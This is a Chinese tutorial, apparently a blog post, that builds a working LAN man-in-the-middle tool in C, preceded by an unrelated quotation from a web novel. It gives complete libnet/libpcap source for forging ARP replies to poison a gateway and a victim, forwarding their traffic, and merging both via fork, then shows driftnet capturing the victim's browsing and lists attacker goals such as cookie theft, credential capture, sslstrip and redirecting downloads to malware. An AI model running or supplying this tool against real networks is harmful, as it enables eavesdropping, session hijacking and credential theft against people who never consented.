看风云无忌一时有些迟疑。
那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”
——飞升之后 · 荧惑
风云无忌
下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议)
上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:
(备注:右键另存为 大图较清晰)
实现"中间人"的情景,有两个关键点:
· ARP欺骗:目的是将通信双方的数据包流经中间人。
· 数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。
第一步:ArpSpoof
(备注:右键另存为 大图较清晰)
ArpSpoof模块的源码如下:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 #include <unistd.h>
5 #include <libnet.h>
6 #include <unistd.h>
7 #define MAC_ADDR_LEN 6
8 #define IP_ADDR_LEN 4
9 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
10 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
11 )
12 {
13 static char padPtr[18];
14 libnet_t *net_t = NULL;
15 char err_buf[LIBNET_ERRBUF_SIZE];
16 libnet_ptag_t p_tag;
17 unsigned int i=0;
18
19 printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
20 printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
21
22 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
23 if(net_t == NULL)
24 {
25 printf("libnet_init error\n");
26 return 2;
27 }
28
29 p_tag = libnet_build_arp(
30 ARPHRD_ETHER,//hardware type ethernet
31 ETHERTYPE_IP,//protocol type
32 MAC_ADDR_LEN,//mac length
33 IP_ADDR_LEN,//protocol length
34 arpOp,//op type
35 (u_int8_t *)src_mac,//source mac addr
36 (u_int8_t *)src_ip,//source ip addr
37 (u_int8_t *)dst_mac,//dest mac addr
38 (u_int8_t *)dst_ip,//dest ip addr
39 padPtr,//payload
40 18,//payload length
41 net_t,//libnet context
42 0//0 stands to build a new one
43 );
44
45 if(-1 == p_tag)
46 {
47 printf("libnet_build_arp error\n");
48 libnet_destroy(net_t);
49 return 3;
50 }
51
52 p_tag = libnet_build_ethernet(//create ethernet header
53 (u_int8_t *)dst_mac,//dest mac addr
54 (u_int8_t *)src_mac,//source mac addr
55 ETHERTYPE_ARP,//protocol type
56 padPtr,//payload
57 0,//payload length
58 net_t,//libnet context
59 0//0 to build a new one
60 );
61
62 if(-1 == p_tag)
63 {
64 printf("libnet_build_ethernet error!\n");
65 libnet_destroy(net_t);
66 return 4;
67 }
68
69 int res;
70 i=0;
71 for(;i<sendTimes;i++)
72 if(-1 == (res = libnet_write(net_t)))
73 {
74 printf("libnet_write error!\n");
75 libnet_destroy(net_t);
76 return 5;
77 }
78
79 libnet_destroy(net_t);
80 return 0;
81 FAIL:
82 libnet_destroy(net_t);
83 return 6;
84 }
85
86 /*
87
88 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
89 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
90 )
91 */
92
93 void ArpSpoof(
94 const uint8_t * ip_A, const uint8_t * mac_A,
95 const uint8_t * ip_B, const uint8_t * mac_B,
96 const uint8_t * mac_M,
97 const char * devMitm
98 )
99 {
100 //
101 /*
102 arp-reply: M->A B is at M
103 arp-reply: M->B A is at M
104 */
105 while(1)
106 {
107 usleep(500000);
108 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
109
110 usleep(500000);
111 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
112 }
113 /*
114 char * dev=devMitm;
115 unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 };
116 unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 };
117 unsigned char src_ip[4]={11,22,11,11};
118 unsigned char dst_ip[4]={11,23,11,11};
119 printf(":)\n");
120 printf("%s\n",src_ip_str);
121 while(1)
122 ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3
123 );
124 */
125 }
126 /*
127 gw kali
128 192.168.1.1 192.168.1.132
129 14:E6:E4:94:B4:D6 00:0C:29:A4:AC:26
130 A B
131
132 00:11:22:33:44:55
133 M
134
135 */
136 void main()
137 {
138
139 uint8_t ip_A[4]={192,168,1,1};
140 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
141
142 uint8_t ip_B[4]={192,168,1,108};
143 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
144
145 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
146
147 char * devMitm="eth0";
148 while(1)
149 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
150
151 }
152
153 /*
154 void ArpSpoof(
155 const uint8_t * ip_A, const uint8_t * mac_A,
156 const uint8_t * ip_B, const uint8_t * mac_B,
157 const uint8_t * mac_M,
158 const char * devMitm
159 )
160 */
第二步:数据包分析、转发
这里仅转发IP数据包,于是,我们以较简单的icmp-request &
icmp-reply 为例:
mitm-forwarder模块的源码如下:
1 #include <pcap.h>
2 #include <time.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5 #include <string.h>
6 #include <stdint.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10 #include <unistd.h>
11 #include <libnet.h>
12
13 #define MAC_ADDR_LEN 6
14 #define IP_ADDR_LEN 4
15
16 struct ethernet_ip_hdr
17 {
18 uint8_t ether_dhost[6];/* destination ethernet address */
19 uint8_t ether_shost[6];/* source ethernet address */
20 uint16_t ether_type; /* protocol */
21 uint8_t ip_ver_hdrlen;
22 uint8_t ip_tos;
23 uint16_t ip_total_len; /* total length */
24 uint16_t ip_id; /* identification */
25 uint16_t ip_frag;
26 uint8_t ip_ttl; /* time to live */
27 uint8_t ip_proto; /* protocol */
28 uint16_t ip_hdrCRC; /* checksum */
29 uint8_t ip_src[4];
30 uint8_t ip_dst[4];
31 };
32
33 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
34 const unsigned char * dst_mac,const unsigned char * src_mac,
35 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
36 )
37 {
38 libnet_t *net_t = NULL;
39 char err_buf[LIBNET_ERRBUF_SIZE];
40 libnet_ptag_t p_tag;
41 unsigned int i=0;
42
43 //init the libnet context structure
44 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
45 if(net_t == NULL)
46 {
47 printf("libnet_init error\n");
48 return 1;
49 }
50
51 //build the ethernet packet
52 p_tag = libnet_build_ethernet(//create ethernet header
53 dst_mac,//dest mac addr
54 src_mac,//source mac addr
55 protoType,//protocol type
56 padPtr,//payload
57 padLength,//payload length
58 net_t,//libnet context
59 0//0 to build a new one
60 );
61 if(-1 == p_tag)
62 {
63 printf("libnet_build_ethernet error!\n");
64 goto FAIL;
65 }
66
67 for(i=0;i<sendTimes;i++)
68 if(-1 == libnet_write(net_t))
69 {
70 printf("libnet_write error!\n");
71 goto FAIL;
72 }
73
74 libnet_destroy(net_t);
75 return 0;
76 FAIL:
77 libnet_destroy(net_t);
78 return 1;
79 }
80
81
82 struct MITM_para
83 {
84 const uint8_t * ip_A;
85 const uint8_t * mac_A;
86 const uint8_t * ip_B;
87 const uint8_t * mac_B;
88 const uint8_t * mac_M;
89 const char * BPF_filterStr;
90 const char * devMitm;
91 };
92
93 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
94 {
95 int i;
96 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
97 unsigned int sendTimes=1;
98 const uint16_t etherProto=0x0800;
99 const char * dev=mitmParaPtr->devMitm;
100 const uint8_t * ether_Ahost=mitmParaPtr->mac_A;
101 const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
102 const uint8_t * ether_Mhost=mitmParaPtr->mac_M;
103 const uint8_t * A_IP=mitmParaPtr->ip_A;
104 const uint8_t * B_IP=mitmParaPtr->ip_B;
105 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet;
106
107 if (
108 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6))
109 //&&
110 //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
111 )
112 { // packet: A send to B
113 printf(" :) ether src A && ip dst B\n");
114 BuildAndSendEthernetPacket(dev,sendTimes,
115 ether_Bhost,ether_Mhost,
116 //dst_mac, src_mac,
117 etherProto,packet+14,pkthdr->len-14
118 );
119 }
120 else if (
121 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6))
122 //&&
123 //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
124 )
125 { // packet: B send to A
126 printf("ether src B && ip dst A\n");
127 BuildAndSendEthernetPacket(dev,sendTimes,
128 ether_Ahost,ether_Mhost,
129 //dst_mac, src_mac,
130 etherProto,packet+14,pkthdr->len-14
131 );
132 }
133
134 }
135
136
137 int mitm_forwarder(
138 const uint8_t * ip_A, const uint8_t * mac_A,
139 const uint8_t * ip_B, const uint8_t * mac_B,
140 const uint8_t * mac_M,const char * BPF_filterStr,
141 const char * devMitm
142 )
143 //BPF_filterStr: ether dst mac_M and ip
144 {
145 char errBuf[PCAP_ERRBUF_SIZE], * devStr;
146 struct bpf_program filter;
147
148 struct MITM_para mitmPara;
149
150 mitmPara.ip_A=ip_A;
151 mitmPara.mac_A=mac_A;
152
153 mitmPara.ip_B=ip_B;
154 mitmPara.mac_B=mac_B;
155
156 mitmPara.mac_M=mac_M;
157
158 mitmPara.BPF_filterStr=BPF_filterStr;
159 mitmPara.devMitm=devMitm;
160
161 /* get a device */
162 devStr = pcap_lookupdev(errBuf);
163
164 if(devStr)
165 {
166 printf("success: device: %s\n", devStr);
167 }
168 else
169 {
170 printf("error: %s\n", errBuf);
171 exit(1);
172 }
173
174 /* open a device, wait until a packet arrives */
175 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
176
177 if(!device)
178 {
179 printf("error: pcap_open_live(): %s\n", errBuf);
180 exit(1);
181 }
182 // ether dst 00:11:22:33:44:55 and ip
183 pcap_compile( device,&filter,BPF_filterStr,1,0 );
184 pcap_setfilter(device ,&filter );
185 /* wait loop forever */
186 pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara);
187
188 pcap_close(device);
189
190 return 0;
191 }
192 /*
193
194 int mitm_forwarder(
195 uint8_t * ip_A,uint8_t * mac_A,
196 uint8_t * ip_B,uint8_t * mac_B,
197 uint8_t * mac_M,char * BPF_filterStr,
198 char * devMitm
199 )
200
201 */
202 void main()
203 {
204
205 uint8_t ip_A[4]={192,168,1,1};
206 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
207
208 uint8_t ip_B[4]={192,168,1,108};
209 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
210
211 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
212
213 //BPF_filterStr: ether dst mac_M and ip
214 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
215 char * devMitm="eth0";
216
217 mitm_forwarder(
218 ip_A,mac_A,
219 ip_B,mac_B,
220 mac_M,BPF_filterStr,
221 devMitm
222 );
223
224 }
第三步:
借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:
1 void main()
2
3 {
4 uint8_t ip_A[4]={192,168,1,1};
5 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
6 uint8_t ip_B[4]={192,168,1,108};
7 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
8 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
9 //BPF_filterStr: ether dst mac_M and ip
10 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
11 char * devMitm="eth0";
12
13 //local
14 pid_t sonPid;
15 sonPid=fork();
16 if( sonPid==-1 )
17 {//failure
18 printf("failure:mitm fork error :( \n");
19 }
20 else if(sonPid==0)
21 {//child
22 printf("child : pid:%d:)\n",getpid());
23 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
24 }
25 else
26 {//parent
27 printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
28 sleep(2);
29 mitm_forwarder(
30 ip_A,mac_A,
31 ip_B,mac_B,
32 mac_M,BPF_filterStr,
33 devMitm
34 );
35 }
36 }
如此,最终代码如下:
1 #include<unistd.h>
2 #include<pcap.h>
3 #include<time.h>
4 #include<stdio.h>
5 #include<stdint.h>
6 #include<stdio.h>
7 #include<stdlib.h>
8 #include<string.h>
9 #include<unistd.h>
10 #include<libnet.h>
11
12 #define MAC_ADDR_LEN 6
13 #define IP_ADDR_LEN 4
14
15 struct ethernet_ip_hdr
16 {
17 uint8_t ether_dhost[6];/* destination ethernet address */
18 uint8_t ether_shost[6];/* source ethernet address */
19 uint16_t ether_type; /* protocol */
20 uint8_t ip_ver_hdrlen;
21 uint8_t ip_tos;
22 uint16_t ip_total_len; /* total length */
23 uint16_t ip_id; /* identification */
24 uint16_t ip_frag;
25 uint8_t ip_ttl; /* time to live */
26 uint8_t ip_proto; /* protocol */
27 uint16_t ip_hdrCRC; /* checksum */
28 uint8_t ip_src[4];
29 uint8_t ip_dst[4];
30 };
31
32 struct MITM_para
33 {
34 const uint8_t * ip_A;
35 const uint8_t * mac_A;
36 const uint8_t * ip_B;
37 const uint8_t * mac_B;
38 const uint8_t * mac_M;
39 const char * BPF_filterStr;
40 const char * devMitm;
41 };
42
43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
44 const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
45 )
46 {
47 static char padPtr[18];
48 libnet_t *net_t = NULL;
49 char err_buf[LIBNET_ERRBUF_SIZE];
50 libnet_ptag_t p_tag;
51 unsigned int i=0;
52
53 //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
54 //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
55
56 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
57 if(net_t == NULL)
58 {
59 printf("libnet_init error\n");
60 return 2;
61 }
62
63 p_tag = libnet_build_arp(
64 ARPHRD_ETHER,//hardware type ethernet
65 ETHERTYPE_IP,//protocol type
66 MAC_ADDR_LEN,//mac length
67 IP_ADDR_LEN,//protocol length
68 arpOp,//op type
69 (u_int8_t *)src_mac,//source mac addr
70 (u_int8_t *)src_ip,//source ip addr
71 (u_int8_t *)dst_mac,//dest mac addr
72 (u_int8_t *)dst_ip,//dest ip addr
73 padPtr,//payload
74 18,//payload length
75 net_t,//libnet context
76 0//0 stands to build a new one
77 );
78
79 if(-1 == p_tag)
80 {
81 printf("libnet_build_arp error\n");
82 libnet_destroy(net_t);
83 return 3;
84 }
85
86 p_tag = libnet_build_ethernet(//create ethernet header
87 (u_int8_t *)dst_mac,//dest mac addr
88 (u_int8_t *)src_mac,//source mac addr
89 ETHERTYPE_ARP,//protocol type
90 padPtr,//payload
91 0,//payload length
92 net_t,//libnet context
93 0//0 to build a new one
94 );
95
96 if(-1 == p_tag)
97 {
98 printf("libnet_build_ethernet error!\n");
99 libnet_destroy(net_t);
100 return 4;
101 }
102
103 int res;
104 i=0;
105 for(;i<sendTimes;i++)
106 if(-1 == (res = libnet_write(net_t)))
107 {
108 printf("A libnet_write error!\n");
109 libnet_destroy(net_t);
110 return 5;
111 }
112
113 libnet_destroy(net_t);
114 return 0;
115 FAIL:
116 libnet_destroy(net_t);
117 return 6;
118 }
119
120 void ArpSpoof(
121 const uint8_t * ip_A, const uint8_t * mac_A,
122 const uint8_t * ip_B, const uint8_t * mac_B,
123 const uint8_t * mac_M,
124 const char * devMitm
125 )
126 {
127 //
128 /*
129 arp-reply: M->A B is at M
130 arp-reply: M->B A is at M
131 */
132 while(1)
133 {
134 usleep(500000);
135 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
136
137 usleep(500000);
138 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
139 }
140 }
141
142 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
143 const unsigned char * dst_mac,const unsigned char * src_mac,
144 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
145 )
146 {
147 libnet_t *net_t = NULL;
148 char err_buf[LIBNET_ERRBUF_SIZE];
149 libnet_ptag_t p_tag;
150 unsigned int i=0;
151
152 //init the libnet context structure
153 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
154 if(net_t == NULL)
155 {
156 printf("libnet_init error\n");
157 return 1;
158 }
159
160 //build the ethernet packet
161 p_tag = libnet_build_ethernet(//create ethernet header
162 dst_mac,//dest mac addr
163 src_mac,//source mac addr
164 protoType,//protocol type
165 padPtr,//payload
166 padLength,//payload length
167 net_t,//libnet context
168 0//0 to build a new one
169 );
170 if(-1 == p_tag)
171 {
172 printf("libnet_build_ethernet error!\n");
173 goto FAIL;
174 }
175
176 for(i=0;i<sendTimes;i++)
177 if(-1 == libnet_write(net_t))
178 {
179 printf("B libnet_write error!\n");
180 goto FAIL;
181 }
182
183 libnet_destroy(net_t);
184 return 0;
185 FAIL:
186 libnet_destroy(net_t);
187 return 1;
188 }
189
190
191
192 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
193 {
194 int i;
195 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
196 unsigned int sendTimes=1;
197 const uint16_t etherProto=0x0800;
198 const char * dev=mitmParaPtr->devMitm;
199 const uint8_t * ether_Ahost=mitmParaPtr->mac_A;
200 const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
201 const uint8_t * ether_Mhost=mitmParaPtr->mac_M;
202 const uint8_t * A_IP=mitmParaPtr->ip_A;
203 const uint8_t * B_IP=mitmParaPtr->ip_B;
204 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet;
205
206 if (
207 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6))
208 //&&
209 //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
210 )
211 { // packet: A send to B
212 printf(" :) ether src A && ip dst B\n");
213 BuildAndSendEthernetPacket(dev,sendTimes,
214 ether_Bhost,ether_Mhost,
215 //dst_mac, src_mac,
216 etherProto,packet+14,pkthdr->len-14
217 );
218 }
219 else if (
220 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6))
221 //&&
222 //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
223 )
224 { // packet: B send to A
225 printf("ether src B && ip dst A\n");
226 BuildAndSendEthernetPacket(dev,sendTimes,
227 ether_Ahost,ether_Mhost,
228 //dst_mac, src_mac,
229 etherProto,packet+14,pkthdr->len-14
230 );
231 }
232 }
233
234
235 int mitm_forwarder(
236 const uint8_t * ip_A, const uint8_t * mac_A,
237 const uint8_t * ip_B, const uint8_t * mac_B,
238 const uint8_t * mac_M,const char * BPF_filterStr,
239 const char * devMitm
240 )
241 //BPF_filterStr: ether dst mac_M and ip
242 {
243 char errBuf[PCAP_ERRBUF_SIZE], * devStr;
244 struct bpf_program filter;
245
246 struct MITM_para mitmPara;
247
248 mitmPara.ip_A=ip_A;
249 mitmPara.mac_A=mac_A;
250
251 mitmPara.ip_B=ip_B;
252 mitmPara.mac_B=mac_B;
253
254 mitmPara.mac_M=mac_M;
255
256 mitmPara.BPF_filterStr=BPF_filterStr;
257 mitmPara.devMitm=devMitm;
258
259 /* get a device */
260 devStr = pcap_lookupdev(errBuf);
261
262 if(devStr)
263 {
264 printf("success: device: %s\n", devStr);
265 }
266 else
267 {
268 printf("error: %s\n", errBuf);
269 exit(1);
270 }
271
272 /* open a device, wait until a packet arrives */
273 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
274
275 if(!device)
276 {
277 printf("error: pcap_open_live(): %s\n", errBuf);
278 exit(1);
279 }
280 // ether dst 00:11:22:33:44:55 and ip
281 pcap_compile( device,&filter,BPF_filterStr,1,0 );
282 pcap_setfilter(device ,&filter );
283 /* wait loop forever */
284 pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
285
286 pcap_close(device);
287
288 return 0;
289 }
290
291
292 /*
293 gw kali
294 192.168.1.1 192.168.1.108
295 14:E6:E4:94:B4:D6 00:7B:05:03:8E:90
296 A B
297
298 00:11:22:33:44:55
299 M
300
301 */
302
303 void main()
304
305 {
306 uint8_t ip_A[4]={192,168,1,1};
307 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
308
309 uint8_t ip_B[4]={192,168,1,31};
310 uint8_t mac_B[6]={0x00,0x0C,0x29,0xA4,0xAC,0x26};
311
312 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
313
314 //BPF_filterStr: ether dst mac_M and ip
315 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
316 char * devMitm="eth0";
317
318 //local
319 pid_t sonPid;
320
321 sonPid=fork();
322 if( sonPid==-1 )
323 {//failure
324 printf("failure:mitm fork error :( \n");
325 }
326 else if(sonPid==0)
327 {//child
328 printf("child : pid:%d:)\n",getpid());
329 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
330 }
331 else
332 {//parent
333 printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
334 sleep(2);
335 mitm_forwarder(
336 ip_A,mac_A,
337 ip_B,mac_B,
338 mac_M,BPF_filterStr,
339 devMitm
340 );
341 }
342 }
测试:
kali GW
Ubuntu
如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:
~# driftnet -i eth0
而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:
中间人攻击的可怕之处:
1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie
ID,以绕过服务器对此用户的密码认证;
2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;
3.截获已知认证协议的账户、密码;
4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;
5.屏蔽或者重定向指定的网络地址;
……
中间人攻击的原理与实现